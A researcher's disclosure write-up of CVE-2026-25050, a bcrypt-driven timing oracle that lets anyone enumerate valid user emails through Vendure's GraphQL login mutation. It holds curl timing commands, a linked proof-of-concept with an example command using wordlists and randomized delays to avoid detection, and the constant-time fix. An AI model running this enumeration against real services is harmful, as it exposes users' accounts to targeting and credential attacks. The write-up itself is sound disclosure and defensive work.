Status: Decrypted

CVE-2026-25050: How a 300ms Difference Unmasked Vendure Users

How a 300ms Difference Unmasked Vendure Users

A few weeks ago, I was auditing the authentication flow of Vendure, a popular headless e-commerce framework. While the code looked clean and followed modern best practices, I noticed a subtle behavior in how the server responded to failed login attempts.

This curiosity led to the discovery of CVE-2026-25050: a Timing Attack vulnerability in the NativeAuthenticationStrategy that allowed for reliable username (email) enumeration.

The Discovery: Seeing the Invisible

In web security, we often look for crashes or logic bypasses. But sometimes, the most revealing information isn’t in what the server says, but how long it takes to say it.

When testing the login mutation, I noticed a pattern:

  • Non-existent user: The server responded almost instantly.
  • Valid user (wrong password): The server took a fraction of a second longer.

In the world of cryptography, a 300ms gap is a canyon.


Initial Reconnaissance: The Attack Surface

Everything starts with a simple observation of the login process. By capturing a login attempt in Burp Suite, we can see exactly what the client sends to the server.


Burp Suite Capture

Figure 1: Capturing the authentication request in Burp Suite.


The first thing that stands out is the technology: Vendure uses GraphQL. The request is a POST to /admin-api with an AttemptLogin mutation.

POST /admin-api?languageCode=en HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "operationName": "AttemptLogin",
  "variables": {
    "username": "testuser",
    "password": "testpassword",
    "rememberMe": false
  },
  "query": "mutation AttemptLogin($username: String!, $password: String!, $rememberMe: Boolean!) { login(username: $username, password: $password, rememberMe: $rememberMe) { ...ErrorResult __typename } } fragment ErrorResult on ErrorResult { errorCode message __typename }"
}

Since Vendure is an open-source framework, seeing this GraphQL structure is an invitation to dive into the source code. If we want to understand how the server processes this specific login mutation, we need to find the corresponding Resolver. This transition from “Black Box” observation to “White Box” analysis is where the real investigation begins.

Tracing the Data Flow: From Resolver to Strategy

Now that we know we are looking for a login mutation in the Admin API, we can start our journey through the codebase to find where the username and password are actually verified.

Technical Deep Dive: Tracing the Data Flow

To understand why this was happening, I followed the request from the GraphQL entry point down to the database layer.

1. The Entry Point: AuthResolver

The journey begins in packages/core/src/api/resolvers/admin/auth.resolver.ts. When a user hits the login mutation, it triggers this method:

@Transaction()
@Mutation()
@Allow(Permission.Public)
async login(
    @Args() args: MutationLoginArgs,
    @Ctx() ctx: RequestContext,
    @Context('req') req: Request,
    @Context('res') res: Response,
): Promise<NativeAuthenticationResult> {
    // ... checks if Native Auth is enabled
    return (await super.baseLogin(args, ctx, req, res)) as AuthenticationResult;
}

2. The Orchestrator: AuthService

In packages/core/src/service/services/auth.service.ts, the authenticate method identifies the strategy (in this case, “native”) and dispatches the credentials.

// path: packages/core/src/service/services/auth.service.ts
// function: authenticate()

async authenticate(
    ctx: RequestContext,
    apiType: ApiType,
    authenticationMethod: string,
    authenticationData: any,
): Promise<AuthenticatedSession | InvalidCredentialsError | NotVerifiedError> {
    
    // ... event publishing ...

    const authenticationStrategy = this.getAuthenticationStrategy(apiType, authenticationMethod);
    
    // Here, the service calls the strategy's authenticate method
    const authenticateResult = await authenticationStrategy.authenticate(ctx, authenticationData);
    
    if (!authenticateResult) {
        return new InvalidCredentialsError({ authenticationError: '' });
    }
    // ... session creation ...
}

3. The Vulnerable Sink: NativeAuthenticationStrategy

This is where the leak happens. Let’s look at the authenticate method in packages/core/src/config/auth/native-authentication-strategy.ts. This is the core of the vulnerability.

// path: packages/core/src/config/auth/native-authentication-strategy.ts
// function: authenticate()

async authenticate(ctx: RequestContext, data: NativeAuthenticationData): Promise<User | false> {
    // 1. Database lookup (Fast: ~1-5ms)
    const user = await this.userService.getUserByEmailAddress(ctx, data.username);
    
    if (!user) {
        // [!] VULNERABILITY: Immediate return if user is not found
        // This is the "Fast Path"
        return false; 
    }

    // 2. Password verification (Slow: ~200-400ms due to Bcrypt)
    // This is the "Slow Path"
    const passwordMatch = await this.verifyUserPassword(ctx, user.id, data.password);
    
    if (!passwordMatch) {
        return false;
    }
    return user;
}

The “Smoking Gun”: Why it works

The vulnerability lies in the execution path divergence.

When verifyUserPassword is called, it eventually invokes this.passwordCipher.check(password, pw). This method relies on Bcrypt with a specific work factor (cost). Bcrypt is designed to be CPU-intensive to thwart brute-force attacks. On a typical production server, a single check might take anywhere from 200ms to 400ms.

Because this heavy computation is only performed if the user exists in the database, the authenticate function becomes a time-based “Oracle”. An attacker can distinguish between a “User not found” (Fast) and a “Wrong password” (Slow) response simply by measuring the round-trip time of the API request.


4. Proof of Concept: Timing the Oracle

To demonstrate the leak, we can use a simple curl command with the -w flag to measure the time_total.

Scenario A: Non-existent User

curl -X POST http://localhost:3000/admin-api \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { login(username: \"nonexistent@test.com\", password: \"pass123\") { __typename } }"}' \
  -o /dev/null -s -w "Total time: %{time_total}s\n"

Burp Suite Capture

Figure 2: Screen A.


Result: 0.005056s

Scenario B: Existing User (Correct username, wrong password)

curl -X POST http://localhost:3000/admin-api \
  -H "Content-Type: application/json" \
  -d '{"query": "mutation { login(username: \"superadmin\", password: \"wrong_pass\") { __typename } }"}' \
  -o /dev/null -s -w "Total time: %{time_total}s\n"

Burp Suite Capture

Figure 3: Screen B.


Result: 0.246919s

The difference (~200 - 300ms) is massive. Over multiple requests, an attacker can reliably map out valid email addresses registered on the platform.


Exploitation at Scale: Official PoC

Exploitation at Scale: Official Proof of Concept

To demonstrate the practical exploitability of this timing oracle, an official proof‑of‑concept has been released:

🔗 PoC Repository:
https://github.com/Christbowel/CVE-2026-25050

The PoC automates the timing attack by:

  • iterating over large username / email wordlists,
  • measuring and aggregating response times per entry,
  • computing a confidence score for account validity,
  • optionally randomizing requests to reduce detection,
  • exporting results for offline analysis or reporting.

By averaging multiple measurements and applying simple statistical techniques, the PoC scales reliably to large datasets under typical network conditions.

Large‑Scale Attack Scenario

  1. The attacker supplies a curated wordlist of candidate usernames.
  2. The tool issues repeated authentication attempts using a fixed invalid password.
  3. For each username, response time distributions are sampled and averaged.
  4. Accounts are classified as valid when timing exceeds expected network jitter.

This approach enables efficient and reliable user enumeration, even against remote targets, as the PoC accounts for retries, jitter, and scan progression to ensure robustness.

Example usage:

python3 exploit.py \
  -u https://target.example.com \
  -w usernames.txt \
  --shuffle \
  --delay 30:120 \
  --json results.json

Screen POC

Screen POC


The generated results.json can then be used for reporting, analysis, or integration into further automated workflows.

Reliability of the Timing Oracle

To eliminate network noise and scheduler jitter, each username was tested multiple times and the mean response time was calculated.

Across repeated measurements, the variance remained low and the timing gap between existing and non-existing users stayed consistently above 250ms.

This makes the oracle highly reliable, even over remote connections and without requiring high request rates.

Why Network Noise Does Not Break the Attack

Although network latency introduces some jitter, the cost of a bcrypt verification dominates the execution time.

A difference of several hundred milliseconds cannot be masked by normal network fluctuations, especially when averaged over multiple requests.

As a result, the authentication endpoint behaves as a stable timing oracle rather than a probabilistic side-channel.

Attacker Model

An attacker does not need valid credentials or elevated privileges. Only access to the public authentication endpoint is required.

By sending repeated login attempts with a fixed password and varying usernames, an attacker can enumerate valid accounts with high confidence.

This attack is fully remote and can be executed anonymously.

Key Takeaway: The vulnerability exists due to an observable execution path divergence based on user existence. Even without a logic bypass, the metadata (time) leaks the state of the database.


🛡️ Official Security Advisory

For more details, you can find the official security advisory and the patch notes here:

🔗 Advisory: GHSA-6f65-4fv2-wwch


5. The Remediation: Constant-Time Execution

The fix for a timing attack is to ensure the server takes a consistent amount of time regardless of the input.

In the patch I validated for Vendure, the logic was updated to perform a “dummy” Bcrypt check even if the user is not found. By hashing a static “fake” password hash when the user lookup fails, the CPU usage and execution time become nearly identical for both existing and non-existing users.

Timeline

  • Discovery: January 2026
  • Reported: January 2026
  • Patch Validated: February 2026
  • Official Disclosure: February 6, 2026 (CVE-2026-25050)

Special thanks to the Vendure maintainers for their professional response and for involving me in the patch validation process.